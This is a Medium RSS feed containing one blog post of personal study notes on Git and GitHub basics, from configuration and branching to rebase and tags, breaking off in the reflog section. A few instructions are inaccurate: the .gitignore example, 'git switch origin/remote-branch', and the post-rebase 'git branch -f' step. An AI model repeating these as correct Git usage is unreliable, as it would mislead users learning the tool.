<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ayan Dey on Medium]]></title>
        <description><![CDATA[Stories by Ayan Dey on Medium]]></description>
        <link>https://medium.com/@ayandey_75377?source=rss-7ef4869f26de------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*0ffbZm36pXjM_Hst</url>
            <title>Stories by Ayan Dey on Medium</title>
            <link>https://medium.com/@ayandey_75377?source=rss-7ef4869f26de------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 13:40:34 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ayandey_75377/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Git & GitHub]]></title>
            <link>https://medium.com/@ayandey_75377/the-git-github-8e3294ae5e96?source=rss-7ef4869f26de------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e3294ae5e96</guid>
            <category><![CDATA[git]]></category>
            <category><![CDATA[github]]></category>
            <category><![CDATA[version-control-system]]></category>
            <dc:creator><![CDATA[Ayan Dey]]></dc:creator>
            <pubDate>Tue, 06 Feb 2024 17:37:05 GMT</pubDate>
            <atom:updated>2024-02-07T08:05:57.497Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*f4Z5cecbD46zkEkb" /><figcaption>Photo by <a href="https://unsplash.com/@synkevych?utm_source=medium&amp;utm_medium=referral">Roman Synkevych</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>I recently completed a BootCamp on <strong>Git and GitHub</strong> on Udemy. I have documented my learnings here so that I can clearly understand what I have gained from the course. I have not included the project work in this document, as I encourage anyone interested to check out the full <a href="https://www.udemy.com/course/git-and-github-bootcamp/"><strong>course</strong>.</a></p><p><strong>Let’s get started</strong>😃</p><h3><a href="https://git-scm.com/">Git</a></h3><p>The world’s most popular version control system.</p><h3>What is a Version Control System?</h3><p>Version control is software that tracks and manages changes to a file over time.</p><p>Version control systems generally allow users to revisit earlier versions of the files, compare changes between versions, undo changes, and a whole lot more.</p><p>Git is just on VCS, other well-known ones include Subversion, CVS, and Mercurial.</p><h3>Git helps us with….</h3><ol><li>Track changes across multiple files</li><li>Compare versions of a project</li><li>“Time travel” back to old versions</li><li>Revert to a previous version</li><li>Collaborate and share changes</li><li>Combine changes</li></ol><h3>Configuring Git</h3><p>To configure the <strong>name</strong> that Git will associate with our work, run this command: -</p><pre>git config --global user.name &quot;Ayan Dey&quot;</pre><p>To check whether Git has already a username, we can run this command: -</p><pre>git config user.name</pre><p>Do the same thing for our <strong>email</strong>, use the following command: -</p><pre>git config --global user.email blah@bleh.com</pre><p>When we get to GitHub, we’ll want our Git email address to match the GitHub account.</p><p>To check whether Git has already an email, run the following command: -</p><pre>git config user.email</pre><h3>The Very Basics of Git</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*afXG3FzHIjPJBPq8" /><figcaption>Photo by <a href="https://unsplash.com/@praveentcom?utm_source=medium&amp;utm_medium=referral">Praveen Thirumurugan</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>A Quick High-Level Conceptual Overview…..</h4><p><strong>Repository </strong>— A Git <strong><em>“Repo”</em></strong> is a workspace that tracks and manages files within a folder.</p><ul><li>Anytime we want to use Git with a project, app, etc. We need to create a new git repository.</li><li>We can have as many repos on our machine as needed.</li></ul><h4>Our First Git Command!</h4><p>git status gives information on the current status of a git repository and its content.</p><p>git init is used to create a new git repository or reinitialize an existing one. Before we can do anything git-related, we must initialize a repo first!</p><p><strong><em>This is something we do once per project.</em></strong></p><blockquote>After we run the command git init, we will see a <strong>.git</strong> folder. The .git folder is a hidden folder created by Git when we initialize a new repository using the git init command. It is the core component of a Git repository and contains all the necessary information and metadata about the project’s history, branches, commits, and more. This folder is responsible for tracking and managing changes to the files within the repository. It should not be modified manually, as it is automatically managed by Git.</blockquote><h4>Committing</h4><p>The git commit command is a fundamental Git command that records and saves changes to a Git repository. Each commit represents a snapshot of our project&#39;s files at a specific point in time, along with a <strong>commit message</strong> that describes the changes made in that snapshot.</p><p><em>The </em><em>-m flag allows us to pass in an inline commit message, rather than launching a text editor.</em></p><pre>git commit -m &quot;my message&quot;</pre><p>If we don’t use the -m flag it will later ask for a message, by opening up a default text editor (<em>usually vim</em>).</p><h4>Adding</h4><p>We use the git add command to stage changes to be committed.</p><p>It’s a way of telling Git, “Please include this change in our next commit”</p><p>Use git add . to stage all changes at once.</p><h4>The basic workflow: -</h4><ul><li><strong>Work On Stuff </strong>— Make new files, edit files, delete files, etc</li><li><strong>Add Changes </strong>— Group specific changes together, in preparation for committing.</li><li><strong>Commit </strong>— Commit everything that was previously added.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*YmsnQsaJ64nxj-N5YeZdrg.png" /></figure><p>So if we begin from the start, it should be something like this: -</p><ol><li><strong>Staging Changes:</strong></li></ol><pre>git add &lt;file_name_1&gt; &lt;file_name_2&gt; ... # Stage a specific file<br>git add .                               # Stage all changes</pre><p><strong>2. Committing Changes:</strong></p><p>We can have multiple commits, for every change we make to the file.</p><pre>git commit -m &quot;Your commit message here&quot;</pre><p><strong>3. Commit History:</strong></p><p>Each commit creates a new entry in the project’s commit history. We can view the commit history with <strong>git log</strong>:</p><pre>git log</pre><h3>Commits in Details</h3><h4>Atomic Commits</h4><p>A commit should encompass a single feature, change, or fix when possible. In other words, try to <strong>keep each commit focused on a single thing(a feature or a file).</strong></p><p>This makes it easier to undo or roll back changes later on. It also makes our code or project easier to review.</p><h4>Amending Commits</h4><p>Suppose we just made a commit and then realized that we forgot to include a file! Or, we may have made a typo in the commit message that we want to correct.</p><p>Rather than making a new separate commit, we can “redo” the previous commit using the --amend option.</p><p><em>This command allows us to change the </em><strong><em>last commit and its commit message</em></strong><em>.</em></p><pre>git commit --amend</pre><pre>git commit -m &quot;some commit&quot;<br>git add forgotten file<br>git commit --amend</pre><h4>Ignoring Files</h4><p>We can tell Git which files and directories to ignore in a given repository, using a .gitignore <strong>file</strong>.</p><p>This is useful for files we know we NEVER want to commit including: -</p><ul><li>Secret, API keys, credentials, etc.</li><li>Operating System files</li><li>Log files</li><li>Dependencies &amp; packages</li></ul><p>We can create a file called .gitignore in the root of a repository. Inside the file, we can write patterns or simply the name to tell Git which files &amp; folders to ignore:</p><ul><li><strong><em>folderName/</em></strong> will ignore files named .DS_Store</li><li><strong><em>*.log</em></strong> will ignore any files with the .log extension</li></ul><h3>Working with Branches</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fn-mG1k4gD70vVWn.jpg" /></figure><p>Branches are an essential part of Git!</p><p>Think of branches as alternative timelines for a project.</p><p>They enable us to create separate contexts where we can try new things, or even work on multiple ideas in parallel.</p><p><strong>If we make changes on one branch, they don’t impact the other branches(unless we merge the changes).</strong></p><blockquote>Even if we don’t choose to be on a branch, we automatically are already on one.</blockquote><h4>The Master Branch</h4><p>In git, we are always working on a branch.</p><p>The default branch name is <strong>master</strong>.</p><p><em>It is just like any other branch.</em></p><p>Many designate the master branch as their “source of truth” or the “official branch” for their codebase.</p><h4><strong>What on earth is HEAD??</strong></h4><p>HEAD is simply a pointer that refers to the “<strong>current location”</strong> in our repository. It points to a particular branch reference.</p><p>So far HEAR always points to the latest commit we made on the master branch, but soon we’ll see that we can move around and HEAD will change!</p><h4>Viewing All Branches with Git Branch</h4><p>Use git branch to view our existing branches. The default branch in every git repo is master. though we can configure it.</p><h4>Creating and Switching Branches</h4><p>Use git branch &lt;branch-name&gt;<em>(no spaces in the branch-name)</em> to make a new branch based upon the current HEAD.</p><p>This just creates the branch. It does not switch us to that branch (the HEAD stays the same).</p><h3>Switching Branches</h3><p>Once we have created a new branch, use git switch &lt;branch-name&gt; to switch to it.</p><p>We can also use git switch -c &quot;branch name&quot; to create a new branch and switch to the new branch at the same time.</p><blockquote><em>When we switch to a branch and make changes to an existing file, and again switch back to the main branch or the previous branch the recent changes will be vanished.</em></blockquote><p>The below command is a one-line way to add all unstaged changes and commit at the same time.</p><pre>git commit -a -m &quot;message&quot;</pre><p><strong>Another way of switching??</strong></p><p>Historically, we used to git checkout &lt;branch-name&gt; to switch branches. This still works</p><p>The <strong>checkout</strong> command does a million additional things, so the decision was made to add a standalone switch command which is much simpler.</p><h4>Deleting and Renaming Branches</h4><p><strong>Deleting a Branch</strong></p><p>To delete a branch, use the following command:</p><pre>git branch -d &lt;branch-name&gt;</pre><p>Replace &lt;branch-name&gt; with the name of the branch we want to delete.</p><ul><li>D flag: Used to forcefully delete a branch even if it has unmerged changes. The command is git branch -D &lt;branch-name&gt;.</li></ul><p><strong>Renaming a Branch</strong></p><p>To rename a branch, follow these steps:</p><ol><li>Switch to a different branch <em>(not the one we want to rename)</em>. For example, switch to the master branch.</li></ol><pre>git switch master</pre><p>2. Rename the branch using the following command:</p><pre>git branch -m &lt;current-branch-name&gt; &lt;new-branch-name&gt;</pre><p>Replace &lt;current-branch-name&gt; with the name of the branch, we want to rename, and &lt;new-branch-name&gt; with the new name we want to give to the branch.</p><ol><li>If the branch we want to rename is the current branch, we also need to update the upstream branch reference. Use the following command:</li></ol><pre>git push origin -u &lt;new-branch-name&gt;</pre><p>Replace &lt;new-branch-name&gt; with the new name of the branch.</p><p>Remember to be cautious when deleting or renaming branches as it can affect our Git history and collaboration with others.</p><ul><li>M flag: Used to forcefully rename a branch even if the new name already exists. The command is git branch -M &lt;current-branch-name&gt; &lt;new-branch-name&gt;.</li></ul><h4>How Git Stores HEAD &amp; Branches</h4><p>HEAD is simply a pointer that refers to the current “location” in our repository. It points to a particular branch reference.</p><p>The <strong>HEAD</strong> pointer always points to the branch we are currently on, which may or may not be the default branch.</p><h3>Merging Branches</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*rFxER8ijAfwj0kSs.gif" /></figure><h4>Introduction</h4><p>Branching makes it super easy to work within self-contained contexts, but often we want to incorporate changes from one branch into another.</p><p>We can do this using the git merge command.</p><p><strong>Two merging concepts: -</strong></p><ul><li>We merge branches, not specific commits.</li><li>We always merge to the current HEAD branch.</li></ul><p>To merge, follow these basic steps: -</p><ol><li>Switch to or checkout the branch we want to merge the changes into (the receiving branch).</li><li>Use the <strong>git merge</strong> command to merge changes from a specific branch into the current branch.</li></ol><h4>About Fast Forward Merges</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*Ae2CP2soUKtermGi.gif" /></figure><p>A <strong>fast-forward merge</strong> occurs when there is a linear path from the current branch tip to the target branch. In this case, Git moves the current branch tip up to the target branch tip, integrating the commit history without creating a new merge commit.</p><p>On the other hand, a <strong>non fast-forward merge</strong> occurs when the commit history diverges and there isn’t a direct linear path from the current branch tip to the target branch. In this case, Git creates a new merge commit to combine the changes from both branches, preserving the commit history of both branches.</p><p>The main difference is that a fast-forward merge is a simple and linear integration of changes, while a non fast-forward merge creates a new commit that represents the combination of the two branch histories.</p><h4>Merge Conflicts</h4><p>Depending on the specific changes we are trying to merge, Git may not be able to automatically merge. This results in <strong>merge conflicts</strong>, which we need to resolve manually.</p><p>Conflicts can occur, if someone changes a file in some branch and it can be someone else or the same person deletes the same file in another branch can lead to conflicts while merging the branch.</p><p>Git couldn’t decide what to keep and what to delete.</p><p><strong>What the…..</strong></p><p>When we encounter a merge conflict, Git warms us in the console so that it cannot automatically merge.</p><p><strong>It also changes the content of our files to indicate the conflicts that it wants us to resolve.</strong></p><h4><strong>Conflict Markers</strong></h4><p>The content from our current <strong>HEAD</strong> (the branch we are trying to merge content into) is displayed between the <strong>&lt;&lt;&lt;&lt;&lt;&lt;HEAD and ======</strong></p><h4><strong>Resolving Conflicts</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*1Ij9k6vD_bWCjQ2r.gif" /></figure><p>Whenever we encounter merge conflicts, follow these steps to resolve them:</p><ol><li>Open up the file(s) with merge conflicts.</li><li>Edit the file(s) to remove the conflicts. Decide which branch’s content we want to keep in each conflict. Or keep the content from both.</li><li>Remove the conflict “marker” in the document.</li><li>Add our changes and then make a commit!</li></ol><h3>Comparing Changes with Git Diff</h3><p>We can use the <strong>git diff</strong> command to view changes between commits, branches, files, our working directory, and more.</p><p>We often use git diff alongside commands like git status and git log to better understand a repo and how it changes over time.</p><p><strong>git diff</strong> lists all the changes in our working directory that are <strong><em>NOT</em></strong> staged for the next commit.</p><p><strong>git diff HEAD</strong> lists all changes in the working tree since our last commit.</p><pre>git diff HEAD</pre><p>git diff — staged or — cached will list the changes between the staging area and our last commit.</p><pre>git diff --staged<br>git diff --cached</pre><h4>Diff-ing specific files</h4><p>We can view the changes within a specific file by providing git diff with a filename.</p><pre>git diff HEAD [filename]<br>git diff --staged [filename]</pre><h4>Comparing Branches</h4><p>git diff branch1…branch2 will list changes between the tips of branch of branch1 and branch2.</p><pre>git diff branch1..branch2</pre><blockquote><strong><em>Note:-</em></strong><em> Instead of a double dot, a single space will also work.</em></blockquote><h4>Comparing Commits</h4><p>To compare two commits, provide git diff with the commit hashes of the commits in question.</p><pre>git diff commit1..commit2</pre><p>To view the commit hashes, we can use git log --oneline the command, it is used to display abbreviated commit history in a concise format, showing each commit as a single line.</p><h3>Stashing</h3><p>If I make changes in a file in one branch and switch to a different branch let’s say the <em>master</em> branch without committing the previous changes, two things can happen: -</p><ol><li>My changes come with me to the destination branch.</li><li>Git won’t let me switch if it detects potential conflicts.</li></ol><p>If we face the second scenario, then we can stash the uncommitted changes.</p><p>Git provides an easy way of stashing these uncommitted changes so that we can return to them later, without having to make unnecessary commits.</p><p><strong>git stash</strong> is a super helpful command that helps us save changes that we are not yet ready to commit. We can stash changes and then come back later.</p><pre>git stash</pre><p><em>We can also use git stash save instead.</em></p><p>When we run <strong><em>git stash</em></strong>, Git takes all our uncommitted changes in the working directory — those we haven’t yet staged or committed — and saves them in a “stash.” This stash acts as a stack, allowing us to store multiple sets of changes temporarily.</p><p><strong>git stash pop:</strong></p><ul><li>When we run <strong>git stash pop</strong>, Git reapplies the most recent set of changes from the stash back to our working directory.</li><li>It also removes this set of changes from the stash (as it’s been reapplied to our working directory).</li></ul><h4>Stash apply</h4><p>We can use git stash apply to apply whatever is stashed away, without removing it from the stash. This can be useful if we want to apply stashed changes to multiple branches.</p><blockquote><em>We can add multiple stashes onto the stack of stashes. They will all be stashed in the order we added them.</em></blockquote><pre>git stash apply</pre><p><strong>git stash list</strong>:</p><ul><li>Lists all stashed changes, displaying their references (stash IDs) and messages.</li></ul><p><strong>git stash drop</strong>:</p><ul><li>Deletes the most recent stash (removes it permanently).</li><li>Use <strong>stash@{n}</strong> to drop a specific stash.</li></ul><p><strong>git stash clear</strong>:</p><ul><li>Removes all stashed changes.</li><li>Use with caution as it removes all stashes permanently.</li></ul><p><strong>git stash show</strong>:</p><ul><li>Displays the changes that are stashed. By default, shows the most recent stash.</li><li>Add options (<strong>p</strong> for patch, <strong>u</strong> for untracked files) for more details.</li></ul><h3>Undoing Changes &amp; Time Traveling</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*HAMdOJxk3d-YEonX.gif" /></figure><p>The git checkout command is like a Git Swiss army knife.</p><p>We can use <strong>checkout</strong> to create branches, switch new branches, restore files, and undo history!</p><p>We can use git checkout &lt;commit_hash&gt; to view a previous commit.</p><p><em>Don’t panic when we see the following messages……</em></p><h4>Detached HEAD??</h4><p>We are in a ‘detached HEAD’ state. We can look around, make experimental changes, and commit them, and we can discard any commits we make in this state without impacting any branches by switching back to a branch.</p><blockquote><em>Detached HEAD is commonly used to inspect past commits, review history, test specific commits, or experiment with changes without affecting existing branches.</em></blockquote><blockquote><em>How do I get back when the head is still in place??</em></blockquote><p>We have a couple of options:</p><ol><li>Leave and go back to wherever we were before- reattach the HEAD</li><li>Create a new branch and switch to it. We can now make and save changes since HEAD is no longer detached.</li></ol><h4>Discarding Changes</h4><p>Suppose we’ve made some changes to a file but don’t want to keep them. To revert the file to whatever it looked like when we last committed, we can use:</p><p>git checkout HEAD &lt;filename&gt; to discard any changes in that file, reverting to the HEAD.</p><h3>Restore</h3><p>git restore is a brand new Git command that helps with undoing operations.</p><p><strong>1. Discard Changes in Working Directory:</strong></p><ul><li><strong>Restore a Single File:</strong></li></ul><pre>git restore &lt;file_name&gt;</pre><ul><li><strong>Discard All Changes:</strong></li></ul><pre>git restore .</pre><p><strong>2. Restore Changes from the Staging Area to the Working Directory:</strong></p><ul><li><strong>Unstaged Changes in a File:</strong></li></ul><pre>git restore --staged &lt;file_name&gt;</pre><p>This command moves changes from the staging area (index) back to the working directory for &lt;file_name&gt;, effectively “unstaging” the file.</p><p><strong>3. Restore Specific Commit’s Version:</strong></p><ul><li><strong>Restore a File from a Specific Commit:</strong></li></ul><pre>git restore --source=&lt;commit&gt; &lt;file_name&gt;</pre><p>This command restores &lt;file_name&gt; from the specified &lt;commit&gt; and updates it in the working directory.</p><h4>Git Reset</h4><p>Suppose we’ve just made a couple of commits on the master branch, but we meant to make them on a separate branch instead. To undo those commits, we can use git reset.</p><p>git reset &lt;commit-hash&gt; will reset the repo back to a <strong><em>specific commit</em></strong>.</p><p>While using this command the content won’t be lost, we will just revert to a specific commit.</p><p><strong>Hard Reset (</strong><strong>git reset --hard &lt;commit&gt;):</strong></p><ul><li>Moves the HEAD to a specific commit and resets both the staging area and working directory to match the specified commit.</li><li>Uncommit changes, unstaged them, and discard changes in the working directory. This operation can’t be undone.</li></ul><h4>Difference between git restore &amp; git reset</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WUaqMW5JfA035qWRWRi_jQ.png" /></figure><h4>Git Revert</h4><p>git revert is similar to git reset in that they both “undo” changes, but they accomplish it in different ways.</p><p>git revert instead creates a brand new commit which reverses/undo the changes from a commit. Because it results in a new commit, we will be prompted to enter a commit message.</p><p><strong>Which one should I use?</strong></p><p>If we want to reverse some commits that other people already have on their machines, we should use <strong>revert.</strong></p><p>If we want to reverse commits that we haven’t shared with others, use reset and no one will ever know!</p><h3>Github: The Basics</h3><h3>Git Remotes</h3><p>The <strong>git remote</strong> command in Git is used to manage remote repositories. It allows us to view, add, rename, or remove remote repositories that our local repository interacts with.</p><h4>1. View Remote Repositories:</h4><ul><li><strong>List Remote Repositories:</strong></li></ul><pre>git remote -v</pre><p>The <strong>-v</strong> flag displays detailed information, including the fetch and push URLs.</p><h4>2. Manage Remote Repositories:</h4><ul><li><strong>Add a Remote:</strong></li></ul><pre>git remote add &lt;name&gt; &lt;url&gt;</pre><p>This command adds a new remote repository to our local repository and assigns it a name <strong>(&lt;name&gt;)</strong>, associating it with the provided URL <strong>(&lt;URL&gt;)</strong>.</p><ul><li><strong>Rename a Remote:</strong></li></ul><pre>git remote rename &lt;old_name&gt; &lt;new_name&gt;</pre><h3>3. Other Remote Operations:</h3><ul><li><strong>Show Information about a Remote:</strong></li></ul><pre>git remote show &lt;name&gt;</pre><ul><li><strong>Get Remote Repository URL:</strong></li></ul><pre>git remote get-url &lt;name&gt;</pre><h3>Git Push</h3><p>Now that we have a remote setup, let’s push some work up to Github! To do this, we need to use the git push command.</p><p>We need to specify the remote we want to push up to AND the specific local branch we want to push up to that remote.</p><pre>git push &lt;remote&gt; &lt;branch&gt;<br><br>Ex: -<br>git push origin master</pre><h4>Push in Detail</h4><p>While we often want to push a local branch up to a remote branch of the same name, we don’t have to!</p><p>To push our local pancake branch up to a remote branch called Waffle we could do:</p><p>git push &lt;remote&gt; &lt;local-branch&gt;:&lt;remote-branch&gt;</p><pre>git push origin pancake:waffle</pre><h3>The -u option</h3><p>The -u option allows us to set the upstream of the branch we’re pushing. We can think of this as a link connecting our local branch to a branch on GitHub.</p><p>Running git push -u origin master sets the upstream of the local master branch so that it tracks the master branch on the origin repo.</p><p><strong>What this means….</strong></p><blockquote><em>Once we’ve set the upstream for a branch, we can use the </em><em>git push shorthand which will push our current branch to the upstream.</em></blockquote><h3>Option 2: Start from Scratch</h3><p>If we haven’t begun to work on our local repo, we can …</p><ul><li>Create a brand new repo on GitHub</li><li>Clone it down to our machine</li><li>Do some work locally</li><li>Push up our changes to GitHub</li></ul><h3>Working with Remote Branches</h3><p>Suppose we have a branch in our remote repository that does not exist locally. In that case, we can fetch that branch from the remote repository into our local repository to work on it or to have a local copy.</p><p><strong>List Remote Branches:</strong></p><p>To see all the branches available in the remote repository, we can use the following command:</p><pre>git clone &lt;URL&gt;<br>git branch -r</pre><p>We can use the <strong>git switch</strong> command, it can be used to create a new branch based on a remote branch and switch to it using a shorthand notation.</p><p>The syntax <strong>git switch &lt;remote-branch-name&gt;</strong> assumes that a local branch with the same name as the remote branch doesn&#39;t exist, and it automatically creates a new local branch based on the specified remote branch.</p><pre>git switch origin/remote-branch</pre><p>This command creates a new local branch named<strong><em> remote-branch</em></strong> based on the remote branch <strong><em>origin/remote-branch</em></strong> and switches to it in one step.</p><h4>Git Fetch: The Basics</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*B1kERfnyaMVeIv4WaDEa-Q.png" /></figure><p>The git fetch &lt;remote&gt; command features branches and history from a specific remote repository. It only updates remote-tracking branches.</p><p>git fetch origin would fetch all changes from the origin remote repository.</p><pre>git fetch &lt;remote&gt;</pre><p>We can also fetch a specific branch from a remote using git fetch &lt;remote&gt; &lt;branch&gt;</p><p>For example, git fetch origin master would retrieve the latest information from the master branch on the origin remote repository.</p><pre>git fetch &lt;remote&gt; &lt;branch&gt;</pre><h4>Git Pull</h4><p>git pull is another command we use to retrieve changes from a remote repository. Unlike fetch, pull updates our HEAD branch with whatever changes are retrieved from the remote.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*QVJxOd49QK9VmbEEawlcgA.png" /></figure><pre>git pull &lt;remote&gt; &lt;branch&gt;</pre><p>git pull origin master would fetch the latest information from the origin’s master branch and merge those changes into our current branch.</p><h4>An even easier syntax!</h4><p>If we run git pull without specifying a particular remote or branch to pull from, git assumes the following: -</p><ul><li>remote will default to origin</li><li>branch will default to whatever tracking connections are configured for our current branch</li></ul><pre>git pull</pre><h3>GitHub Collaboration Workflows</h3><h4>Feature Branch</h4><p>A feature branch is a dedicated branch, used to isolate and develop a specific feature or set of related features. The purpose of feature branches is to allow developers to work on new functionalities or improvements without affecting the main development branch (usually called <strong>master</strong> or <strong>main</strong>). Feature branches enable parallel development, making it easier to manage and review changes before integrating them into the main branch.</p><blockquote><em>After the feature is merged and no longer needed, we can delete the feature branch both locally and remotely.</em></blockquote><h4>Pull Requests</h4><p>A Pull Request (PR) in GitHub is a way to propose changes to a repository and discuss those changes with others. It’s a mechanism for collaboration and code review, allowing contributors to suggest modifications, get feedback, and eventually merge their changes into the main branch.</p><h4>The Workflow</h4><ol><li>Do some more work locally on a feature branch.</li><li>Push up the feature branch to the GitHub.</li><li>Open a pull request using the feature branch just pushed up to GitHub.</li><li>Wait for the PR to be approved and merged. Start a discussion on the PR.</li></ol><h3>Git Rebase</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/0*Y56zlQhYFpfzjRvn.gif" /></figure><p><strong>git rebase</strong> is a Git command used to modify, combine, or clean up the commit history of a branch. Unlike <strong>git merge</strong>, which integrates changes from one branch into another, <strong>git rebase</strong> moves or combines a sequence of commits to a new base commit. This can result in a linear and cleaner history.</p><p><strong>1. Start with a Clean Working Directory:</strong></p><p>Ensure that we have committed or stashed all our changes. The working directory should be clean before starting a rebase.</p><p><strong>2. Choose the Branch to Rebase:</strong></p><p>Switch to the branch that we want to rebase. For example, to rebase the <strong>feature-branch</strong> onto the <strong>main</strong> branch:</p><pre>git checkout feature-branch</pre><p><strong>3. Run the Rebase Command:</strong></p><pre>git rebase main</pre><p>This command instructs Git to reapply the commits from the current branch<strong> </strong><em>(feature-branch)</em> onto the tip of another branch <em>(main)</em>. During the rebase, Git may pause to allow us to resolve conflicts if they arise.</p><p><strong>4. Resolve Conflicts (if any):</strong></p><p>If there are conflicts, Git will stop during the rebase process, and we’ll need to resolve the conflicts manually. After resolving conflicts:</p><pre>git add &lt;conflicted_file&gt;<br>git rebase --continue</pre><p>Repeat these steps until the rebase is complete.</p><p><strong>Complete the Rebase:</strong></p><p>Once the rebase is finished (without conflicts), we can continue with the following options:</p><ul><li>If we want to discard the original branch and make the rebased branch the new official branch:</li></ul><pre>git branch -f feature-branch</pre><ul><li>If we want to keep the original branch and have a new branch pointing to the rebased commits:</li></ul><pre>git checkout -b new-feature-branch</pre><h3>Cleaning up History with Interactive Rebase</h3><h4>Interactive Rebase</h4><p>Running git rebase with -i option will enter the interactive mode, which allows us to edit commits, add files, drop commits, etc.</p><blockquote><em>Note that we need to specify how far back we want to rewrite commits.</em></blockquote><p>Also, notice that we are not rebasing onto another branch. Instead, we are rebasing a series of commits onto the HEAD they currently are based on.</p><p><strong>Start an Interactive Rebase:</strong></p><ul><li>Open our terminal.</li><li>Navigate to the branch we want to rebase.</li></ul><pre>git switch branch-name</pre><ul><li>Start the interactive rebase:</li></ul><pre>git rebase -i main<br><br>OR<br><br>git rebase -i head~4</pre><p>The <strong>git rebase -i HEAD~4</strong> command initiates an interactive rebase on the last 4 commits in our current branch. This means that we will be presented with an interactive rebase editor where we can modify, reorder, squash, or split these 4 commits.</p><p><strong>Interactive Rebase Editor:</strong></p><ul><li>After running the above command, an editor will open displaying a list of commits. Each commit is preceded by the word “pick.”</li></ul><pre>pick abc1234 Commit message 1<br>pick def5678 Commit message 2<br>pick hij9012 Commit message 3</pre><p><strong>Choose an Action:</strong></p><ol><li>Replace “pick” with the action we want to perform on each commit. Common actions include:</li></ol><ul><li><strong>pick</strong>: Keep the commit as is.</li><li><strong>edit</strong>: Pause rebase to amend the commit (e.g., to fix a mistake).</li><li><strong>squash</strong> or <strong>s</strong>: Combine the commit with the previous one.</li><li><strong>fixup</strong>: Similar to <strong>squash</strong> but discards the commit message.</li></ul><pre>pick abc1234 Commit message 1<br>squash def5678 Commit message 2<br>edit hij9012 Commit message 3</pre><p>2. <strong>Save and Close the Editor:</strong></p><ul><li>Save the changes and close the editor.</li></ul><h3>Git Tag</h3><h4>git tag:</h4><p>The <strong>git tag</strong> command is used to create, list, delete, or verify tags in the Git repository. Tags are references that point to specific points in Git history, typically used to mark releases or important points in our project. There are two types of tags in Git: lightweight tags and annotated tags.</p><h4>Basic Usage:</h4><ul><li><strong>Create a Lightweight Tag:</strong></li></ul><pre>git tag mytag</pre><ul><li>Create an Annotated Tag:</li></ul><pre>git tag -a mytag -m &quot;Version 1.0&quot;</pre><ul><li>List Tags:</li></ul><pre>git tag</pre><ul><li>Delete a Tag:</li></ul><pre>git tag -d mytag</pre><ul><li>Push Tags to Remote Repository:</li></ul><pre>git push origin mytag</pre><ul><li>Push All Tags:</li></ul><pre>git push origin --tags</pre><h4>git diff:</h4><p>The <strong>git diff</strong> command is used to show changes between commits, commit, and working trees, branches, or any two points in our Git history. It provides a visual representation of the differences between files.</p><h4>Basic Usage:</h4><ul><li><strong>Show Changes Between Working Tree and the Last Commit:</strong></li></ul><pre>git diff</pre><ul><li>Show Changes Between Two Commits:</li></ul><pre>git diff commit1 commit2</pre><ul><li>Show Changes in a Specific File:</li></ul><pre>git diff filename</pre><ul><li>Compare Changes Between Two Branches:</li></ul><pre>git diff branch1..branch2</pre><ul><li>View Changes in Staged (Index) Area:</li></ul><pre>git diff --staged</pre><ul><li>View Summary of Changes (Stat Format):</li></ul><pre>git diff --stat</pre><h3>1. Lightweight Tags:</h3><p><strong>1.1 Explanation:</strong></p><ul><li>A lightweight tag is just a reference to a specific commit. It consists of a name (the tag) pointing to a commit hash.</li><li>Lightweight tags are created using the <strong>git tag</strong> command without the <strong>a</strong> (annotated) option.</li></ul><p><strong>1.2 Why to Use:</strong></p><ul><li>Lightweight tags are simple and easy to create.</li><li>Useful for marking specific commits or releases when detailed information or signing is not required.</li><li>Lightweight tags are suitable for personal or temporary use.</li></ul><pre>git tag &lt;name&gt;</pre><h3>2. Annotated Tags:</h3><p><strong>2.1 Explanation:</strong></p><ul><li>An annotated tag is a more feature-rich tag that includes additional information such as tagger name, email, date, and an optional tag message.</li><li>Annotated tags are created using the <strong>git tag -a</strong> command.</li></ul><p><strong>2.2 Why to Use:</strong></p><ul><li>Annotated tags are preferred for formal releases or when additional information is needed (e.g., release notes, signing).</li><li>Useful for sharing information about a release or a specific point in history.</li></ul><pre>git tag -a v1.0 -m &quot;Release 1.0&quot;</pre><h4>Tagging Previous Commits</h4><p>We can also tag an older commit by providing the commit has:</p><pre>git tag -a &lt;tagname&gt; &lt;commit-hash&gt;</pre><h4>Forcing Tags</h4><p>Git will yell at us if we try to reuse a tag that is already referring to a commit. If we use the -f option, we can FORCE our tag through.</p><h4>Delete Tags</h4><p>To delete a tag use:</p><pre>git tag -d &lt;tagname&gt;git tag -d &lt;tagname&gt;</pre><h4>Pushing Tags</h4><p>By default, the git push command doesn’t transfer tags to remote servers. If we have a lot of tags that we want to push up at once, we can use the --tags option to the git push command.</p><p>This will transfer all of our tags to the remote server that is not already there.</p><pre>git push --tags</pre><h3>Git Reflog(reference log)</h3><h4>reflogs</h4><p>Git keeps a record of when the tips of branches and 